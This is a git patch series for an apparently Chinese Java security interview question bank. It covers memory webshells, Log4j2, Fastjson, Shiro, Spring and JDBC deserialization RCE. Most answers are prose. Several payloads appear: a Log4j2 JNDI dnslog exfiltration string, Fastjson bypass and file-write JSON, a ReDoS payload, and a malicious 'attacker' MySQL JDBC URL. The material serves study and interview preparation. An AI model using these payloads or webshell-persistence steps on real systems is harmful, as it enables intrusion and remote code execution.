+有一种思路是再`destroy`方法中加入再注册内存马的代码,但并不是所有删除方式都会触发`destroy`方法 + +所以另外的思路是跑一个不死线程,循环检测该内存马是否存在,以及注册的功能 + + + +- 内存马如何持久化(★★★) + +内存马持久化这个问题必须要往本地写文件 + +一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar,再`doFilter`等位置插入恶意字节码 + +4ra1n师傅提到的修改Tomcat的Lib也是一种手段 + + + +- Java Agent内存马的查杀(★★★) + +网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中所有的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 \ No newline at end of file From a85554ac8b3a90b847629af493d74f74c331d2f5 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 16:18:47 +0800 Subject: [PATCH 07/29] update --- README.md | 4 ++-- log4j2/README.md | 9 +++++++++ memshell/README.md | 10 +++++++++- 3 files changed, 20 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 4e164c3..f811276 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,6 @@ [Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) -[Log4j2组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) +[Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) -[内存马专题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) +[内存马专题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) diff --git a/log4j2/README.md b/log4j2/README.md index c16256b..0f34666 100644 --- a/log4j2/README.md +++ b/log4j2/README.md @@ -43,3 +43,12 @@ 在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息 这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` + + + +- 不停止运行程序如何修复Log4j2漏洞(★★★) + +利用JavaAgent改JVM中的字节码,可以直接删了`JndiLookup`的功能 + +有公众号提出类似`Shiro`改`Key`的思路,利用反射把`JndiLookup`删了也是一种办法 + diff --git a/memshell/README.md b/memshell/README.md index 869a035..d5cdff3 100644 --- a/memshell/README.md +++ b/memshell/README.md @@ -48,4 +48,12 @@ Spring内存马有:Controller型,Interceptor型 - Java Agent内存马的查杀(★★★) -网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中所有的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 \ No newline at end of file +网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中所有的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 + + + +- 如果有一个陌生的框架你如何挖内存马(★★★) + +核心是找到类似`Tomcat`和`Spring`中类似`Context`的对象,然后尝试从其中获取`request`和`response`对象以实现内存马的功能。可以从常见的类名称入手:Requst、ServletRequest、RequstGroup、RequestInfo、RequestGroupInfo等等。可以参考c0ny1师傅的`java-object-searcher`项目,半自动搜索`request`对象 + + From 3e3fd621d83184d75f246af337f1f1f869933519 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 16:43:44 +0800 Subject: [PATCH 08/29] fastjson --- README.md | 2 ++ fastjson/README.md | 41 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 43 insertions(+) create mode 100644 fastjson/README.md diff --git a/README.md b/README.md index f811276..3f4f588 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,8 @@ [Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) +[Fastjson组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson) + [Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) [内存马专题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) diff --git a/fastjson/README.md b/fastjson/README.md new file mode 100644 index 0000000..4419969 --- /dev/null +++ b/fastjson/README.md @@ -0,0 +1,41 @@ +# Fastjson + +- 使用`JSON.parse()`和`JSON.parseObject()`的不同(★) + +前者会在JSON字符串中解析字符串获取`@type`指定的类,后者则会直接使用参数中的`class`,并且对应类中所有`getter`和`setter`都会被调用 + + + +- 什么情况下反序列化过程会反射调用`getter`(★) + +符合`getter`规范的情况且不存在`setter` + + + +- 如果不存在`setter`和`getter`方法可以反射设置值吗(★) + +需要服务端开启`Feature.SupportNonPublicFiel`参数,实战无用 + + + +- Fastjson在反序列化`byte[]`类型的属性时会做什么事情(★) + +将会在反序列化时候进行`base64`编码 + + + +- 谈谈常见的几种Payload(★★★) + +首先是最常见的`JdbcRowSetImpl`利用`JDNI`注入方式触发,需要出网 + +利用`TemplatesImpl`类比较鸡肋,需要服务端开启特殊参数 + +不出网的利用方式有一种`BasicDataSource`配合`BCEL`可实现不出网`RCE` + +另外某个版本之后支持`$ref`的功能,也可以构造一些Payload + + + +- 谈谈1.2.47版本之前的绕过(★★★) + +首先是利用解析问题可以加括号或大写L绕过低版本,高版本利用了哈希黑名单,之所以要哈希是因为防止黑客进行分析。但黑名单还是被破解了,有师傅找到可以绕过了类。在1.2.47版本中利用缓存绕过 \ No newline at end of file From 658134ea2f1316d1e14afbe68c05d16d62ce2f91 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 00:09:17 +0800 Subject: [PATCH 09/29] script --- auto.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 auto.py diff --git a/auto.py b/auto.py new file mode 100644 index 0000000..a34db1b --- /dev/null +++ b/auto.py @@ -0,0 +1,22 @@ +# 自动更新数量统计 +index = open("README.md", "r+", encoding="utf-8"); +lines = index.readlines() + +for i in range (0,len(lines)): + if lines[i].startswith("["): + line = lines[i] + suffix = line.split("tree/master/")[1] + suffix = suffix.split(")")[0] + temp = open(suffix + "/" + "README.md", "r", encoding="utf-8") + temp_lines = temp.readlines() + total = 0 + for q in temp_lines: + if q.startswith("-"): + total = total + 1 + p = line.split("-")[0] + s = line.split("个]")[1] + lines[i] = p + "- " + str(total) + "个]" + s + +index.seek(0) +index.truncate() +index.writelines(lines) \ No newline at end of file From 8c7acb2bac84a0ee94fc0ed20d6c7a0cac5c47ef Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 00:42:07 +0800 Subject: [PATCH 10/29] java --- README.md | 2 +- java/README.md | 30 ++++++++++++++++++++++++++++++ 2 files changed, 31 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 3f4f588..28539c3 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ ## 分类 -[Java本身的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) +[Java本身的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) [Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) diff --git a/java/README.md b/java/README.md index 613b9bb..3a1bd6f 100644 --- a/java/README.md +++ b/java/README.md @@ -193,3 +193,33 @@ LinkedHashSet.readObject() - 了解缩小反序列化Payload的手段吗(★★★) 首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 + + + +- 谈谈实战中命令执行有哪些回显的办法(★★★★) + +首先想到的办法是`dnslog`等技术进行外带,但必须出网,有限制 + +然后类似内存马的思路,针对指定中间件找`response`对象写入执行结果 + +尝试写文件,往`web`目录下写,例如`xx.html`可以访问到即可 + +将命令执行结果抛出异常,然后用`URLClassLoader`加载,达到报错回显 + +Y4er师傅提到的自定义类加载器配合RMI的一种方式 + + + +- 有没有了解过针对`linux`的通杀的回显方式(★★★★) + +获取本次`http`请求用到`socket`的文件描述符,然后往文件描述符里写命令执行的结果 + +但鸡肋的地方在于需要确定源端口,才可以使用命令查到对应的文件描述符,存在反代可能有问题 + + + +- 是否存在针对`windows`的通杀的回显方式(★★★★) + +原理类似`linux`的通杀回显,在`windows`中`nio/bio`中有类似于`linux`文件描述符这样的句柄文件 + +遍历`fd`反射创建对应的文件描述符,利用`sun.nio.ch.Net#remoteAddress`确认文件描述符有效性,然后往里面写数据实现回显 \ No newline at end of file From 3c98d1d2deadbccb11b86d67ddf7171b1768c90f Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 01:34:18 +0800 Subject: [PATCH 11/29] springboot --- README.md | 17 ++++++++ spring/README.md | 110 +++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 127 insertions(+) create mode 100644 spring/README.md diff --git a/README.md b/README.md index 28539c3..b800d25 100644 --- a/README.md +++ b/README.md @@ -26,4 +26,21 @@ [Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) +[Spring框架相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) + [内存马专题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) + +## 参考 + +https://github.com/LandGrey/SpringBootVulExploit + +https://github.com/feihong-cs/Java-Rce-Echo/ + +https://threedr3am.github.io/ + +https://xz.aliyun.com/t/7740 + +https://xz.aliyun.com/t/7307 + + + diff --git a/spring/README.md b/spring/README.md new file mode 100644 index 0000000..e68682f --- /dev/null +++ b/spring/README.md @@ -0,0 +1,110 @@ +## Spring + +- 谈谈Spring Whitelabel SPEL RCE(★★★) + +Spring处理参数值出错时会将参数中`${}`中的内容当作`SPEL`解析实现,造成`RCE`漏洞 + + + +- 谈谈SpringCloud SnameYAML RCE(★★★) + +该漏洞的利用条件是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置 + +在`VPS`上开启`HTTP Server`并放入基于`ScriptEngineManager`和`URLClassLoader`的`yml`,制作特殊的JAR并指定 + +通过`/env`设置`spring.cloud.bootstrap.location`属性再刷新配置即可利用`SnakeYAML`的反序列化漏洞实现`RCE` + + + +- 谈谈SpringCloud Eureka RCE(★★★) + +该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置 + +首先搭建恶意的`XStream Server`其中包含了`Payload` + +通过`/env`设置`eureka.client.serviceUrl.defaultZone`属性再刷新配置即可访问远程`XStream Payload`触发反序列化达到`RCE` + + + +- 谈谈SpringBoot Jolokia Logback JNDI RCE(★★★) + +如果目标可出网且存在`/jolokia`或`/actuator/jolokia`接口 + +通过`/jolokia/list`查看是否存在`ch.qos.logback.classic.jmx.JMXConfigurator`和`reloadByURL`关键词 + +搭建一个`HTTP Server`保存`XML`配置文件,再启动恶意的`JNDI Server`,请求指定的`URL`即可触发`JNDI`注入漏洞达到`RCE` + + + +- 谈谈SpringBoot Jolokia Realm JNDI RCE(★★★) + +如果目标可出网且存在`/jolokia`或`/actuator/jolokia`接口 + +启动恶意的`JNDI Server`后调用`createJNDIRealm`创建`JNDIRealm`,然后写入`JNDI`相关的配置文件,重启后触发`JNDI`注入漏洞达到`RCE` + + + +- 谈谈SpringBoot Restart H2 Database Query RCE(★★★) + +漏洞利用条件是可以访问`/env`设置属性,可以访问`/restart`重启应用 + +设置`spring.datasource.hikari.connection-test-query`属性为创建自定义函数的`SQL`语句,再数据库连接之前会执行该`SQL`语句 + +通过重启应用,建立新的数据库连接,触发包含命令执行的自定义函数,达到`RCE` + + + +- 谈谈SpringBoot H2 Database Console JNDI RCE(★★★) + +目标可出网且存在`spring.h2.console.enabled=true`属性时可以利用 + +首先通过`/h2-console`中记录下`JSESSIONID`值,然后启动恶意的`JNDI Server`,构造对应域名和`JSESSIONID`的特殊`POST`请求触发`JNDI`注入漏洞达到`RCE` + + + +- 谈谈SpringBoot Mysql JDBC RCE(★★★) + +该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置,不同的是需要存在`mysql-connector-java`依赖 + +通过`/env`得到`mysql`版本等信息,测试是否存在常见的`Gadget`依赖,访问`spring.datasource.url`设置指定的`MySQL JDBC URL`地址。刷新配置后当网站进行数据库操作时,会使用恶意的`MySQL JDBC URL`建立连接 + +恶意的`MySQL Server`会返回序列化`Payload`数据,利用本地的`Gadget`反序列化造成`RCE` + + + +- 谈谈SpringBoot Restart logging.config Logback JNDI RCE(★★★) + +该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 + +搭建一个`HTTP Server`保存`XML`配置文件,再启动恶意的`JNDI Server` + +通过`/env`接口设置`logging.config`属性为恶意的`XML`配置文件,重启触发`JNDI`注入漏洞达到`RCE` + + + +- 谈谈SpringBoot Restart logging.config Groovy RCE(★★★) + +该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 + +启动恶意的`JNDI Server`并通过`/env`接口设置`logging.config`属性为恶意的`Groovy`文件在重启后生效 + +在`logback-classic`组件的`ch.qos.logback.classic.util.ContextInitializer`中会判断`url`是否以`groovy`结尾,如果是则最终会执行文件内容中的`groovy`代码达到`RCE` + + + + +- 谈谈SpringBoot Restart spring.main.sources Groovy RCE(★★★) + +类似SpringBoot Restart logging.config Groovy RCE + +组件中的`org.springframework.boot.BeanDefinitionLoader`判断`url`是否以`groovy`结尾,如果是则最终会执行文件内容中的`groovy`代码,造成`RCE`漏洞 + + + +- 谈谈SpringBoot Restart spring.datasource.data H2 Database RCE(★★★) + +该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 + +开一个`HTTP Server`保存恶意SQL语句,这是一个执行命令的函数,设置属性`spring.datasource.data`为该地址,重启后设置生效 + +组件中的`org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer`使用`runScripts`方法执行请求`URL`内容中的`SQL`代码,造成`RCE`漏洞 \ No newline at end of file From e2bf82266848cdedf24542aa7d4849dd714b24ef Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 01:43:03 +0800 Subject: [PATCH 12/29] ref --- README.md | 4 ++++ memshell/README.md | 6 ++++++ 2 files changed, 10 insertions(+) diff --git a/README.md b/README.md index b800d25..527d3eb 100644 --- a/README.md +++ b/README.md @@ -42,5 +42,9 @@ https://xz.aliyun.com/t/7740 https://xz.aliyun.com/t/7307 +https://www.cnpanda.net/ + +https://gv7.me/ + diff --git a/memshell/README.md b/memshell/README.md index d5cdff3..9faac8e 100644 --- a/memshell/README.md +++ b/memshell/README.md @@ -46,6 +46,12 @@ Spring内存马有:Controller型,Interceptor型 +- 内存马持久化写字节码方式除了`@Filter`标签还有什么办法 + +使用`ServletContainerInitializer`用于在容器启动阶段注册三大组件,取代`web.xml`配置。其中`onStartup`方法会在`Tomcat`中间件重启加载当前`webapp`会优先执行这个方法。通过改方法,我们可以注册一个`webshell`的`filter` + + + - Java Agent内存马的查杀(★★★) 网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中所有的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 From 966fb3ad8da5c416656bd639f77a0ef2f171550c Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 01:43:31 +0800 Subject: [PATCH 13/29] num --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 527d3eb..60508d9 100644 --- a/README.md +++ b/README.md @@ -28,7 +28,7 @@ [Spring框架相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) -[内存马专题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) +[内存马专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) ## 参考 From ded0a878fd5c14f60cb0a35a2f6e69d4011236c9 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 08:23:40 +0800 Subject: [PATCH 14/29] add --- fastjson/README.md | 22 ++++++++++++++++++++-- java/README.md | 2 +- shiro/README.md | 6 ++++++ 3 files changed, 27 insertions(+), 3 deletions(-) diff --git a/fastjson/README.md b/fastjson/README.md index 4419969..385d9ac 100644 --- a/fastjson/README.md +++ b/fastjson/README.md @@ -30,12 +30,30 @@ 利用`TemplatesImpl`类比较鸡肋,需要服务端开启特殊参数 -不出网的利用方式有一种`BasicDataSource`配合`BCEL`可实现不出网`RCE` +不出网的利用方式有一种`BasicDataSource`配合`BCEL`可实现`RCE` 另外某个版本之后支持`$ref`的功能,也可以构造一些Payload +- 是否存在不出网的Fastjson利用方式(★★★) + +第一种是`TemplatesImpl`类加载字节码做到不出网利用,但需要开启特殊参数实战鸡肋 + +第二种方式是服务端存在在`tomcat-dbcp.jar`情况下,使用`BasicDataSource`配合`BCEL`可实现不出网`RCE` + + + - 谈谈1.2.47版本之前的绕过(★★★) -首先是利用解析问题可以加括号或大写L绕过低版本,高版本利用了哈希黑名单,之所以要哈希是因为防止黑客进行分析。但黑名单还是被破解了,有师傅找到可以绕过了类。在1.2.47版本中利用缓存绕过 \ No newline at end of file +首先是利用解析问题可以加括号或大写L绕过低版本,高版本利用了哈希黑名单,之所以要哈希是因为防止黑客进行分析。但黑名单还是被破解了,有师傅找到可以绕过了类。在1.2.47版本中利用缓存绕过 + + + +- Fastjson应该如何探测(★★) + +使用`dnslog`做检测是最常见的方式,利用`java.net.Inet[4][6]Address`或`java.net.InetSocketAddress`或`java.net.URL`类,之所以使用这三个因为不在黑名单中,可以直接检测 + +除了这种方式,还可以自行实现虚假的`JNDI Server`作为反连平台,用`JdbcRowSetImpl`这样的`Payload`来触发 + +如果不能出网,可以结合不出网的利用方式和中间件的回显手段,执行无害命令检测,或利用报错回显 \ No newline at end of file diff --git a/java/README.md b/java/README.md index 3a1bd6f..12cc658 100644 --- a/java/README.md +++ b/java/README.md @@ -2,7 +2,7 @@ - Java反射做了什么事情(★) -反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了静态的效果 +反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果 diff --git a/shiro/README.md b/shiro/README.md index dc25e19..a870f1b 100644 --- a/shiro/README.md +++ b/shiro/README.md @@ -1,5 +1,11 @@ ## Shiro +- 怎样检测目标框架使用了Shiro(★) + +直接看请求响应中是否有`rememberMe=deleteMe`这样的`Cookie` + + + - Shiro反序列化怎么检测key(★★★) 实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送,如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key From 54385226e07b682731d834803c38c6d498a33c07 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 08:24:00 +0800 Subject: [PATCH 15/29] num --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 60508d9..d62b642 100644 --- a/README.md +++ b/README.md @@ -20,9 +20,9 @@ [Java本身的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) -[Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) +[Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) -[Fastjson组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson) +[Fastjson组件相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson) [Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) From 5781fc0973e8fdb205966069962befad3d76a6ea Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 08:26:23 +0800 Subject: [PATCH 16/29] total --- README.md | 4 +++- auto.py | 5 ++++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d62b642..de2a70d 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ 项目目标:完全掌握本项目后进轻松大厂 -计划定期更新,从基础到各种实战问题,打造齐全的Java安全面试题库 +计划定期更新,从基础到各种实战问题,打造齐全的Java安全面试题库(包含问题和详细的答案) 最低难度★ 最高难度★★★★★ @@ -18,6 +18,8 @@ ## 分类 +当前问题总数:58 + [Java本身的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) [Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) diff --git a/auto.py b/auto.py index a34db1b..1a88b0e 100644 --- a/auto.py +++ b/auto.py @@ -2,6 +2,7 @@ index = open("README.md", "r+", encoding="utf-8"); lines = index.readlines() +all = 0 for i in range (0,len(lines)): if lines[i].startswith("["): line = lines[i] @@ -15,8 +16,10 @@ total = total + 1 p = line.split("-")[0] s = line.split("个]")[1] + all += total lines[i] = p + "- " + str(total) + "个]" + s index.seek(0) index.truncate() -index.writelines(lines) \ No newline at end of file +index.writelines(lines) +print(all) \ No newline at end of file From 15cd0333f13147b00798796ffbe1fd6eca194f97 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 08:39:47 +0800 Subject: [PATCH 17/29] script --- auto.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/auto.py b/auto.py index 1a88b0e..fc5171a 100644 --- a/auto.py +++ b/auto.py @@ -3,6 +3,7 @@ lines = index.readlines() all = 0 +all_index = 0 for i in range (0,len(lines)): if lines[i].startswith("["): line = lines[i] @@ -18,8 +19,12 @@ s = line.split("个]")[1] all += total lines[i] = p + "- " + str(total) + "个]" + s + print(suffix + ":" + str(total)) + if lines[i].startswith("当前问题总数"): + all_index = i +print("total:" + str(all)) +lines[all_index] = "当前问题总数:"+ str(all) + "\n" index.seek(0) index.truncate() index.writelines(lines) -print(all) \ No newline at end of file From 80e017b8ee7591c7eb810211f0453b0f020e0918 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 22:44:21 +0800 Subject: [PATCH 18/29] fastjson --- README.md | 7 +++-- fastjson/README.md | 64 ++++++++++++++++++++++++++++++++++++++++++++-- 2 files changed, 65 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index de2a70d..6f362b5 100644 --- a/README.md +++ b/README.md @@ -18,13 +18,13 @@ ## 分类 -当前问题总数:58 +当前问题总数:62 [Java本身的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) [Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) -[Fastjson组件相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson) +[Fastjson组件相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson) [Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) @@ -48,5 +48,4 @@ https://www.cnpanda.net/ https://gv7.me/ - - +https://github.com/safe6Sec/Fastjson diff --git a/fastjson/README.md b/fastjson/README.md index 385d9ac..0a04166 100644 --- a/fastjson/README.md +++ b/fastjson/README.md @@ -44,7 +44,7 @@ -- 谈谈1.2.47版本之前的绕过(★★★) +- 谈谈1.2.47版本之前各个小版本的绕过(★★★) 首先是利用解析问题可以加括号或大写L绕过低版本,高版本利用了哈希黑名单,之所以要哈希是因为防止黑客进行分析。但黑名单还是被破解了,有师傅找到可以绕过了类。在1.2.47版本中利用缓存绕过 @@ -56,4 +56,64 @@ 除了这种方式,还可以自行实现虚假的`JNDI Server`作为反连平台,用`JdbcRowSetImpl`这样的`Payload`来触发 -如果不能出网,可以结合不出网的利用方式和中间件的回显手段,执行无害命令检测,或利用报错回显 \ No newline at end of file +如果不能出网,可以结合不出网的利用方式和中间件的回显手段,执行无害命令检测,或利用报错回显 + + + +- 谈谈1.2.68版本的绕过(★★) + +1.2.68之前的66和67可以利用`JNDI`相关类,比如`Shiro`的`JndiObjectFactory`和`ignite`项目的类 + +1.2.68中有一个期望类属性,实现了期望接口的类可以被反序列化 + +利用类必须是`expectClass`类的子类或实现类,并且不在黑名单中,即可直接绕过`AutoType`检测,例如常见的`AutoCloseable` + +这样的Payload通常第一个`@type`是`AutoCloseable`等合法类,第二个`@type`是恶意类,后续参数是恶意类需要的参数 + + + +- 谈谈Fastjson的WAF Bypass手段(★★★) + +Fastjson默认会去除键值外的空格、\b、\n、\r、\f等字符,同时还会自动将键值进行`unicode`与十六进制解码 + +例如针对`@type`的绕过:`\u0040\u0074\u0079\u0070\u0065` + +加入特殊字符的绕过:`{\n"@type":"com.sun.rowset.JdbcRowSetImpl"...}` + + + +- 除了RCE还能有什么利用(★★★) + +信息泄露或者ReDoS,参考下方Payload + +```json +{ + "regex":{ + "$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]" + }, + "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" +} +``` + +还可以实现写文件,例如以下这个针对1.2.68写文件的Payload + +```json +{ + "@type": "java.lang.AutoCloseable", + "@type": "java.io.FileOutputStream", + "file": "/tmp/nonexist", + "append": "false" +} +``` + + + +- 是否了解自动挖掘Fastjson利用链的方式(★★★★) + +利用链主要集中在`getter`和`setter`方法中,如果`getter`或者`setter`的方法中存在一些危险操作比如`JNDI`查询,如果参数可控就可以导致`JNDI`注入 + +简单来说,直接搜对应项目中`JNDI`的`lookup`方法,可以基于`ASM`解压分析`Jar`包,这种半自动结合人工审核的方式其实很好用(之前挖到过几个) + +进一步来说,全自动的方式可以使用`codeql`或`gadget-inspector`工具来做,主要是加入了污点传递,分析`getter/setter`参数如何传递到`lookup` + +关闭全自动分析原理,一般面试官不会问太深入,因为可能涉及到静态分析相关的技术,普通安服崽的面试不会太过深入,如果是实验室可能需要再学习一下 \ No newline at end of file From b44f5d87269bb27256abbdbcda005243e56f2f7c Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Wed, 16 Feb 2022 10:03:07 +0800 Subject: [PATCH 19/29] update --- README.md | 6 +++--- java/README.md | 20 ++++++++++++++++++-- log4j2/README.md | 9 ++++----- memshell/README.md | 23 +++++++++++++---------- shiro/README.md | 16 ++++++++++------ spring/README.md | 32 ++++++++++++++++++++++++++++++++ 6 files changed, 80 insertions(+), 26 deletions(-) diff --git a/README.md b/README.md index 6f362b5..1014681 100644 --- a/README.md +++ b/README.md @@ -18,9 +18,9 @@ ## 分类 -当前问题总数:62 +当前问题总数:67 -[Java本身的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) +[Java本身的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) [Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) @@ -28,7 +28,7 @@ [Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) -[Spring框架相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) +[Spring框架相关的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) [内存马专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) diff --git a/java/README.md b/java/README.md index 12cc658..756d17b 100644 --- a/java/README.md +++ b/java/README.md @@ -182,7 +182,7 @@ LinkedHashSet.readObject() - 谈谈8U20反序列化(★★★★★) -这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过) +这是7U21修复的绕过 在`AnnotationInvocationHandler`反序列化调用`readObject`方法中,对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过,在它的`readObject`方法中调用`readChildren`方法,其中有`try-catch`但没有抛出异常而是`continue`继续 @@ -222,4 +222,20 @@ Y4er师傅提到的自定义类加载器配合RMI的一种方式 原理类似`linux`的通杀回显,在`windows`中`nio/bio`中有类似于`linux`文件描述符这样的句柄文件 -遍历`fd`反射创建对应的文件描述符,利用`sun.nio.ch.Net#remoteAddress`确认文件描述符有效性,然后往里面写数据实现回显 \ No newline at end of file +遍历`fd`反射创建对应的文件描述符,利用`sun.nio.ch.Net#remoteAddress`确认文件描述符有效性,然后往里面写数据实现回显 + + + +- 是否了解JDBC Connection URL攻击 + +果我们可以控制`JDBC URI`就可将`JDBC`连接地址指向攻击者事先准备好的恶意服务器,这个服务器可以返回恶意的序列化数据 + +指定`autoDeserialize`参数为`true`后`MySQL`客户端就可以自动反序列化恶意Payload + +使用`ServerStatusDiffInterceptor`触发客户端和服务端的交互和反序列化 + +```text +jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true +``` + +以上是基本攻击手段,还有一些进阶的内容,例如`allowUrlInLocalInfile`和`detectCustomCollations`参数 \ No newline at end of file diff --git a/log4j2/README.md b/log4j2/README.md index 0f34666..b070d72 100644 --- a/log4j2/README.md +++ b/log4j2/README.md @@ -8,7 +8,7 @@ - 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★) 